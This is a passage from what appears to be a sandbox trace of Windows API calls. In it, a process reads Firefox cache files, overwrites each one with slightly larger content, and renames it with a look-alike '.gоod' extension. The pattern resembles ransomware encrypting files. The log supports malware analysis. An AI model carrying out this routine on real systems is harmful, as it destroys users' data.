lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", lpFilePart=0x0) returned 0x7f [0241.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0241.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0241.079] GetFileType (hFile=0x82c) returned 0x1 [0241.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0241.079] GetFileType (hFile=0x82c) returned 0x1 [0241.079] WriteFile (in: hFile=0x82c, lpBuffer=0x3b00250*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3b00250*, lpNumberOfBytesWritten=0x1fbeaf38*=0x4e0, lpOverlapped=0x0) returned 1 [0241.080] CloseHandle (hObject=0x82c) returned 1 [0241.080] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", lpFilePart=0x0) returned 0x7f [0241.080] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644.gоod", lpFilePart=0x0) returned 0x84 [0241.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0241.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a98146, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a98146, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8be81cf1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0241.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0241.080] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644.gоod")) returned 1 [0241.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", lpFilePart=0x0) returned 0x7f [0241.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0241.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), fInfoLevelId=0x0, lpFileInformation=0x3b015f0 | out: lpFileInformation=0x3b015f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6745d71, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6745d71, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6781aab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a)) returned 1 [0241.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0241.082] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", lpFilePart=0x0) returned 0x7f [0241.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0241.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0241.082] GetFileType (hFile=0x82c) returned 0x1 [0241.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0241.082] GetFileType (hFile=0x82c) returned 0x1 [0241.082] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x52a [0241.082] ReadFile (in: hFile=0x82c, lpBuffer=0x3b01f18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3b01f18*, lpNumberOfBytesRead=0x1fbeb028*=0x52a, lpOverlapped=0x0) returned 1 [0241.084] CloseHandle (hObject=0x82c) returned 1 [0241.204] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", lpFilePart=0x0) returned 0x7f [0241.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0241.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0241.205] GetFileType (hFile=0x82c) returned 0x1 [0241.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0241.205] GetFileType (hFile=0x82c) returned 0x1 [0241.205] WriteFile (in: hFile=0x82c, lpBuffer=0x3b7adc8*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3b7adc8*, lpNumberOfBytesWritten=0x1fbeaf38*=0x530, lpOverlapped=0x0) returned 1 [0241.206] CloseHandle (hObject=0x82c) returned 1 [0241.206] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C", lpFilePart=0x0) returned 0x7f [0241.206] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C.gоod", lpFilePart=0x0) returned 0x84 [0241.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0241.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6745d71, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6745d71, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8bfb2dc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x530)) returned 1 [0241.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0241.206] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\164AA00845C57C411A6B80E5A4F3C1ADEDE69C9C.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\164aa00845c57c411a6b80e5a4f3c1adede69c9c.gоod")) returned 1 [0241.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", lpFilePart=0x0) returned 0x7f [0241.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0241.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), fInfoLevelId=0x0, lpFileInformation=0x3b7c168 | out: lpFileInformation=0x3b7c168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29)) returned 1 [0241.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0241.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", lpFilePart=0x0) returned 0x7f [0241.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0241.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0241.207] GetFileType (hFile=0x82c) returned 0x1 [0241.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0241.207] GetFileType (hFile=0x82c) returned 0x1 [0241.208] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xe29 [0241.208] ReadFile (in: hFile=0x82c, lpBuffer=0x3b7d390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3b7d390*, lpNumberOfBytesRead=0x1fbeb028*=0xe29, lpOverlapped=0x0) returned 1 [0241.418] CloseHandle (hObject=0x82c) returned 1 [0241.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", lpFilePart=0x0) returned 0x7f [0241.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0241.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0241.447] GetFileType (hFile=0x82c) returned 0x1 [0241.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0241.447] GetFileType (hFile=0x82c) returned 0x1 [0241.447] WriteFile (in: hFile=0x82c, lpBuffer=0x38e0e40*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x38e0e40*, lpNumberOfBytesWritten=0x1fbeaf38*=0xe30, lpOverlapped=0x0) returned 1 [0241.448] CloseHandle (hObject=0x82c) returned 1 [0241.448] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC", lpFilePart=0x0) returned 0x7f [0241.448] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC.gоod", lpFilePart=0x0) returned 0x84 [0241.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0241.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8c215862, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe30)) returned 1 [0241.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0241.448] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1722A63DF48E38B5DC308AE741FBFA24F762D8AC.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1722a63df48e38b5dc308ae741fbfa24f762d8ac.gоod")) returned 1 [0241.450] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", lpFilePart=0x0) returned 0x7f [0241.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0241.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), fInfoLevelId=0x0, lpFileInformation=0x38e21e0 | out: lpFileInformation=0x38e21e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc36514b8, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x68)) returned 1 [0241.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0241.450] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", lpFilePart=0x0) returned 0x7f [0241.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0241.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0241.451] GetFileType (hFile=0x82c) returned 0x1 [0241.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0241.451] GetFileType (hFile=0x82c) returned 0x1 [0241.451] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x68 [0241.451] ReadFile (in: hFile=0x82c, lpBuffer=0x38e2640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x38e2640*, lpNumberOfBytesRead=0x1fbeb028*=0x68, lpOverlapped=0x0) returned 1 [0241.892] CloseHandle (hObject=0x82c) returned 1 [0241.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", lpFilePart=0x0) returned 0x7f [0241.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0241.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0242.083] GetFileType (hFile=0x82c) returned 0x1 [0242.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0242.083] GetFileType (hFile=0x82c) returned 0x1 [0242.703] WriteFile (in: hFile=0x82c, lpBuffer=0x3a48108*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3a48108*, lpNumberOfBytesWritten=0x1fbeaf38*=0x70, lpOverlapped=0x0) returned 1 [0242.842] CloseHandle (hObject=0x82c) returned 1 [0242.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29", lpFilePart=0x0) returned 0x7f [0242.843] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29.gоod", lpFilePart=0x0) returned 0x84 [0242.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0242.843] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36514b8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc36514b8, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8cf58722, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0242.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0242.843] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\179F6D8969C48967D77229126C8892C5E40DBC29" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\179f6d8969c48967d77229126c8892c5e40dbc29"), 